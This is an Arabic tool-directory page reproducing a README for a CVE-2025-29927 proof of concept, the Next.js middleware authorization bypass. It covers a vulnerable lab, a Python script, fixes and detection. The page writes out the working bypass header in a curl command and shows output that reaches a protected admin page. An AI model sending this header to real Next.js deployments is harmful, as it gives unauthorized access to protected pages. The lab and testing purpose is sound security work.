Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/ritinify/cve-2025-29927-poc
الاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubritinify/cve-2025-29927-poc

CVE-2025-29927-PoC

إثبات مفهوم لاستغلال CVE-2025-29927، وهو تجاوز لتفويض البرمجيات الوسيطة في Next.js. يتضمن مختبرًا مستهدفًا قابلًا للاختراق ونصًا برمجيًا بلغة Python للتحقق من التجاوز عن طريق إرسال ترويسات x-middleware-subrequest مصممة خصيصًا.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
منذ 9س 4دلم تتم المراجعة بعد
مشاركة

CVE-2025-29927 — تجاوز تفويض Middleware في Next.js — إثبات المفهوم (PoC)

مشروع GitHub صغير للتحقق من CVE-2025-29927 (تجاوز تفويض Middleware في Next.js) عبر مختبر تفويض محلي (VMware: جهاز Ubuntu كهدف + جهاز Kali كمهاجم).

⚠️ إخلاء مسؤولية: هذا المشروع مخصص فقط للتعليم الأمني، ومسابقات CTF، وبيئات المختبر التي تمتلكها أو لديك تفويض صريح لها. يُحظر تمامًا استخدامه ضد أي أنظمة غير مصرح بها. يتحمل المستخدم كامل المسؤولية عن أي عواقب ناتجة عن إساءة استخدام هذا المشروع.


📋 جدول المحتويات

  • 1. ملف الثغرة
  • 2. مبدأ الثغرة (افهمها في 30 ثانية)
  • 3. هيكل المستودع
  • 4. طوبولوجيا المختبر (جهازا VMware افتراضيان)
  • 5. إعداد الجهاز الهدف (Ubuntu 24.04)
  • 6. تجهيز جهاز الهجوم (Kali)
  • 7. التحقق المحلي (الجزء الأساسي)
  • 8. شرح معاملات PoC
  • 9. اختبار ذاتي سريع بدون جهاز هدف (اختياري)
  • 10. الإصلاح والكشف
  • 11. الأسئلة الشائعة FAQ
  • 12. المراجع

  • 1. ملف الثغرة

    البندالمحتوى
    CVECVE-2025-29927
    تاريخ الإفصاح2025-03-25 (النشرة الأمنية الرسمية من Next.js)
    المكوّن المتأثرVercel Next.js (إطار عمل JavaScript كامل Stack)
    نوع الثغرةتجاوز تفويض / Authorization غير صحيح (CWE-863)
    الإصدارات المتأثرة< 12.3.5، < 13.5.9، < 14.2.25، < 15.2.3
    الإصدارات المُصلحة12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 وما فوق
    مستوى الخطورةحرجة / عالية (الدرجة الدقيقة حسب صفحة NVD)

    بعد ظهور الثغرة، تم تجاوز عدد كبير من لوحات الإدارة، وواجهات الدفع، وواجهات برمجية داخلية في بيئات الإنتاج. أدرج كل من Metasploit و ProjectDiscovery Nuclei وحدات كشف لهذه الثغرة، وتُعتبر واحدة من أكثر ثغرات «تجاوز التفويض على مستوى الإطار» تمثيلًا في عام 2025.


    2. مبدأ الثغرة (افهمها في 30 ثانية)

    يسمح Next.js بكتابة «منطق المصادقة» داخل middleware (الوسيط)، على سبيل المثال:

    root@kitploit:~
    export function middleware(request) {
      if (!isLogin(request)) return NextResponse.redirect("/login"); // غير مسجل دخول → اعتراض
      return NextResponse.next();
    }
    

    المشكلة أن Next.js داخليًا يعتمد على ترويسة طلب يمكن للعميل تزويرها لتحديد ما إذا كان «هذا الطلب قد نُفّذ عبر الـ middleware بالفعل»:

    root@kitploit:~
    x-middleware-subrequest: middleware
    

    في الإصدارات المتأثرة، إذا حمل الطلب الخارجي هذا الترويسة الداخلية، يظن Next.js أن الـ middleware قد نُفّذ بالفعل، وبالتالي يتم تخطي كامل middleware المصادقة. لا يحتاج المهاجم إلى أي حساب، فقط يضيف هذه الترويسة ويصل مباشرة إلى /admin أو أي مسار محمي ويحصل على استجابة 200 — بينما تثق الصفحة نفسها عادةً بالـ middleware ولا تقوم بتحقق ثانٍ، وبالتالي يفشل فحص التفويض (خطأ في حدود الثقة).

    💡 القيمة الأكثر شيوعًا في الاستغلالات العلنية هي تكرار مسار الـ middleware بشكل متسلسل، مثل: middleware:middleware:middleware:middleware:middleware؛ القيمة المفردة middleware قد لا تعمل في بعض الإصدارات/هياكل الدلائل (وهذا ما تم اختباره فعليًا على الإصدار 14.2.24 في هذا المختبر). يقوم هذا الـ PoC بتجربة قيم مرشحة متعددة، وأي واحدة تنجح تعني نجاح التجاوز.


    3. هيكل المستودع

    root@kitploit:~
    CVE-2025-29927-PoC/
    ├── README.md                 # هذا المستند (شرح الثغرة + دليل مختبر VMware)
    ├── LICENSE                   # MIT
    ├── .gitignore
    ├── exploit.py                # ★ PoC للتحقق بلغة Python3 باستخدام المكتبة القياسية فقط (يعمل على Kali/أي جهاز)
    ├── target/                   # ★ مختبر الثغرة المُنشأ ذاتيًا (انسخه إلى جهاز Ubuntu الهدف)
    │   ├── package.json          #   يثبّت [email protected] (إصدار متأثر)
    │   ├── middleware.js         #   يحاكي «middleware مصادقة» حقيقي في بيئة الإنتاج
    │   ├── pages/
    │   │   ├── index.js          #   الصفحة الرئيسية
    │   │   ├── login.js          #   صفحة تسجيل الدخول (يُعاد التوجيه إليها للعرض)
    │   │   └── admin.js          #   ★ لوحة إدارة محمية، يقرأ flag.txt من الخادم
    │   ├── flag.txt              #   علم المختبر: FLAG{...}
    │   ├── setup.sh              #   تثبيت Node 20 + npm install + build بضغطة واحدة على الجهاز الهدف
    │   └── start.sh              #   الاستماع على 0.0.0.0:3000 في وضع الإنتاج
    └── tests/
        └── mock_target.py        #   جهاز هدف محاكى بدون Node (لاختبار التطوير الذاتي فقط)
    

    4. طوبولوجيا المختبر (جهازا VMware افتراضيان)

    root@kitploit:~
    ┌───────────────────────────────────────────────────────────┐
    │ VMware Workstation Pro 17 (المضيف: Windows)               │
    │ الشبكة: NAT (VMnet8 الافتراضي)، الجهازان في نفس الشبكة الفرعية ويمكنهما ping بعضهما │
    │                                                           │
    │   ┌──────────────────┐        ┌─────────────────────┐     │
    │   │ الهدف Ubuntu 24.04 │        │ المهاجم Kali Linux  │     │
    │   │                  │  http   │                     │     │
    │   │  Node 20 + Next  │◄───────│  python3 exploit.py  │     │
    │   │  14.2.24 :3000   │  GET    │                     │     │
    │   └──────────────────┘        └─────────────────────┘     │
    │   IP: <TARGET_IP>              IP: <ATTACKER_IP>          │
    └───────────────────────────────────────────────────────────┘
    

    4.1 ما يجب تنزيله

    الغرضالصورة/البرنامجالإصدار المقترح
    برنامج الأجهزة الافتراضيةVMware Workstation Pro 17 (مجاني للاستخدام الشخصي)17.x
    صورة الجهاز الهدفUbuntu Server LTS ISO24.04.x
    جهاز الهجومKali Linux (صورة VMware الرسمية الجاهزة أو تثبيت ISO)2025.x
    (اختياري)ذاكرة 8 GB أو أكثر على المضيف، وقرص 50 GB أو أكثر—

    4.2 إعدادات الأجهزة الافتراضية العامة

    1. خصص للجهازين الافتراضيين 2 vCPU / 4 GB ذاكرة / 40 GB قرص؛
    2. اختر NAT لكلا محولي الشبكة (لضمان الاتصال في نفس الشبكة الفرعية)، ولا حاجة لتفعيل Bridge للتعلم فقط؛
    3. عند تثبيت Ubuntu، حدد خيار OpenSSH server (لتسهيل نسخ الملفات عبر SSH من المضيف)؛
    4. بعد تثبيت النظام والتأكد من الاتصال بالإنترنت، التقط لقطة نظيفة لتسهيل إعادة فتح المختبر مرارًا.

    5. إعداد الجهاز الهدف (Ubuntu 24.04)

    نفّذ جميع الخطوات التالية على جهاز Ubuntu الهدف.

    5.1 نقل كود المشروع إلى الجهاز الهدف (اختر أحد الخيارين)

    root@kitploit:~
    # الطريقة أ: ادفع المشروع إلى GitHub الخاص بك ثم استنسخه (موصى به، استخدم هذا إذا كنت ستشاركه على GitHub لاحقًا)
    git clone https://github.com/<اسم_المستخدم_خاصتك>/CVE-2025-29927-PoC.git
    cd CVE-2025-29927-PoC
    
    # الطريقة ب: انسخه من المضيف باستخدام scp
    # scp -r CVE-2025-29927-PoC  ubuntu@<TARGET_IP>:~/
    

    5.2 تثبيت التبعيات وبناء تطبيق الثغرة بضغطة واحدة

    root@kitploit:~
    cd CVE-2025-29927-PoC/target
    sudo bash setup.sh        # تثبيت Node 20(LTS) + npm install + next build
    

    ما يفعله setup.sh داخليًا: تحديث apt ← تثبيت أدوات curl/CA/build ← تثبيت Node.js 20 LTS عبر NodeSource ← npm install (سحب تبعيات مثل [email protected]) ← npm run build.

    5.3 تشغيل تطبيق الثغرة (وضع الإنتاج، المنفذ 3000)

    root@kitploit:~
    bash start.sh
    # عند رؤية "▲ Next.js 14.2.24" و "Local: http://0.0.0.0:3000" فهذا يعني النجاح
    

    افتح طرفية أخرى وقم باختبار دخاني محلي أولاً:

    root@kitploit:~
    curl -s http://127.0.0.1:3000            # الصفحة الرئيسية، 200
    curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
    # الناتج المتوقع 307 —— بدون cookie يتم اعتراضه بواسطة middleware (المصادقة تعمل بشكل طبيعي)
    curl -s http://127.0.0.1:3000/admin      # لاحظ أن body يجب أن يكون محتوى صفحة تسجيل الدخول بعد إعادة التوجيه
    

    جدار الحماية على الجهاز الهدف لا يعترض الاتصالات الواردة افتراضيًا؛ إذا فعّلت ufw: sudo ufw allow 3000/tcp.


    6. تجهيز جهاز الهجوم (Kali)

    root@kitploit:~
    sudo apt update
    python3 --version          # Kali يأتي مع Python3، لا حاجة لتبعيات إضافية (PoC يستخدم المكتبة القياسية فقط)
    ip -4 addr show            # سجّل عنوان IP الخاص بـ Kali (مثل 192.168.x.xxx)
    

    انقل exploit.py إلى Kali (استنسخ نفس المستودع، أو انسخ الملف الواحد عبر scp)، ثم تأكد أولاً من اتصال الجهازين الافتراضيين:

    root@kitploit:~
    ping <TARGET_IP>           # إذا نجح ↓
    curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000   # يجب أن يطبع 200
    

    7. التحقق المحلي (الجزء الأساسي)

    نفّذ على جهاز Kali المهاجم:

    root@kitploit:~
    python3 exploit.py -u http://<TARGET_IP>:3000
    

    الناتج المتوقع

    root@kitploit:~
    [1/3] الاستكشاف الأساسي   GET /admin (بدون أي ترويسات خاصة)
          └─ رمز الحالة 307 —— تم اعتراضه بشكل طبيعي بواسطة middleware ✓ (بيئة الثغرة جاهزة)
    
    [2/3] محاولة التجاوز   x-middleware-subrequest: <استطلاع القيم المرشحة>
          └─ قيمة الترويسة='middleware:middleware:middleware:middleware:middleware' رمز الحالة 200 —— نجاح التجاوز! تم تخطي middleware ✓
    
    [3/3] استخراج النتيجة
          └─ قرأت صفحة الإدارة flag.txt من الخادم:
             FLAG{cve-2025-29927-lab-ok}
    
    [+] الخلاصة: VULNERABLE —— تم التحقق من تجاوز تفويض CVE-2025-29927
    

    القراءة الأساسية: نفس عنوان URL، بدون الترويسة الخاصة يتم اعتراضه برمز 307، ومع x-middleware-subrequest يصل مباشرة إلى الإدارة برمز 200 — حلقة تحقق كاملة من «تجاوز middleware المصادقة».

    إعادة الإنتاج باستخدام curl (لأخذ لقطات شاشة للتوثيق)

    root@kitploit:~
    # ① الأساس: يجب أن يُرجع 307 (إعادة توجيه إلى /login)
    curl -i http://<TARGET_IP>:3000/admin | head -n 10
    
    # ② الاستغلال: يجب أن يُرجع 200 ويتضمن FLAG{...}
    curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
         http://<TARGET_IP>:3000/admin | head -n 30
    

    📌 ملاحظة من الاختبار الفعلي: في هذا المختبر (Next 14.2.24 + middleware.js في الدليل الجذر)، تعمل القيمة المكررة 5 مرات middleware:middleware:middleware:middleware:middleware، بينما القيمة المفردة middleware لا تعمل. عند الاختبار اليدوي بـ curl استخدم القيمة المكررة 5 مرات أعلاه مباشرة؛ إذا لم تكن متأكدًا، شغّل exploit.py (الذي يستطلع القيم المرشحة تلقائيًا).


    8. شرح معاملات PoC

    root@kitploit:~
    usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
                      [--delay SECONDS] [--insecure] [--verbose]
    
      -u, --url URL        عنوان الهدف، مثل http://192.168.162.10:3000
      --path PATH          المسار المحمي، الافتراضي /admin
      --timeout SECONDS    مهلة الطلب الواحد، الافتراضي 10
      --delay SECONDS      الفاصل الزمني بين استطلاع قيم الترويسات المرشحة، الافتراضي 0
      --insecure           تخطي التحقق من شهادة HTTPS
      --verbose            طباعة رمز استجابة كل ترويسة مرشحة، لتسهيل التصحيح
    
    رمز الخروج: 0 = تم التحقق من وجود الثغرة؛ 1 = الهدف غير متأثر/فشلت جميع الطلبات؛ 2 = خطأ في المعاملات أو البيئة
    

    9. اختبار ذاتي سريع بدون جهاز هدف (اختياري)

    إذا لم يتوفر لديك VMware أو لا تريد تثبيت Node أولاً، يمكنك استخدام الجهاز الهدف المحاكى المرفق في المستودع لتشغيل منطق الـ PoC أولاً (يكفي وجود Python3 على المضيف، يحاكي سلوك «اعتراض 307 / استجابة 200 مع الترويسة الخاصة»):

    root@kitploit:~
    # الطرفية 1: تشغيل الجهاز الهدف المحاكى (يستمع على 127.0.0.1:8123)
    python3 tests/mock_target.py
    
    # الطرفية 2: التحقق
    python3 exploit.py -u http://127.0.0.1:8123
    # الناتج المتوقع أيضًا VULNERABLE و FLAG{mock-bypass-ok}
    

    ملاحظة: المحاكي مخصص فقط لاختبار منطق السكربت ذاتيًا؛ يجب إجراء التحقق الرسمي على المختبر الحقيقي في القسمين 5 و6.


    10. الإصلاح والكشف

    الإصلاح

    1. قم بترقية Next.js: npm i [email protected] (أو 15.2.3+ / الإصدارات الأحدث المقابلة)، ثم أعد البناء والنشر؛
    2. نصيحة معمارية: لا تجعل التفويض خط دفاع يعتمد فقط على middleware — قم بـتحقق ثانٍ من الهوية في المسارات الحرجة داخل getServerSideProps / Route Handler / واجهات API الخلفية؛
    3. قم بتجاهل جميع ترويسات x-middleware-subrequest الواردة في طبقة الوكيل العكسي/CDN/WAF.

    الكشف (فحص الأنظمة القائمة قبل الترقية)

    root@kitploit:~
    # قالب Nuclei الرسمي
    nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
    

    بعد الترقية، أعد تشغيل هذا الـ PoC، يجب أن يطبع «الهدف غير متأثر» — هذه هي طريقة القبول للمقارنة قبل وبعد الإصلاح.


    11. الأسئلة الشائعة FAQ

    الظاهرةالسبب / الحل
    next start يخبر أن المنفذ مشغولاستخدم lsof -i :3000 للعثور على العملية المشغلة، أو غيّر إلى -p 3001
    curl http://<TARGET_IP>:3000 لا يعملالجهازان الافتراضيان ليسا في نفس شبكة NAT الفرعية؛ تحقق من أن محولي الشبكة في VMware كلاهما NAT، وأكد الشبكة الفرعية بـ ip a
    الوصول إلى /admin يعطي 200 في الأساسالـ middleware لم يعمل: تأكد من أن middleware.js موجود في الدليل الجذر لـ target/ وأن setup.sh نجح في البناء
    بعد محاولة التجاوز ما زال 307القيم الفعالة تختلف حسب الإصدار/هيكل الدليل: شغّل أولاً python3 exploit.py --verbose لرؤية نتائج الاستطلاع؛ للاختبار اليدوي بـ curl استخدم القيمة المكررة 5 مرات middleware:middleware:middleware:middleware:middleware
    Kali لا يستطيع ping إلى Ubuntuفي VMware NAT يكون الاتصال متاحًا افتراضيًا؛ إذا استمرت المشكلة تحقق من جدران الحماية على الجهازين وأعد اللقطة
    تريد التحقق من إصدار Next آخرغيّر إصدار next في target/package.json ثم أعد تشغيل npm install && npm run build

    12. المراجع

    • إدخال NVD: CVE-2025-29927
    • النشرة الأمنية الرسمية من Next.js (2025-03-25)
    • PR وحدة كشف Metasploit (rapid7/metasploit-framework)
    • قالب Nuclei الرسمي: CVE-2025-29927.yaml
    • مشروع إعادة إنتاج مرجعي: lirantal/vulnerable-nextjs-14-CVE-2025-29927
    تنزيل الأداة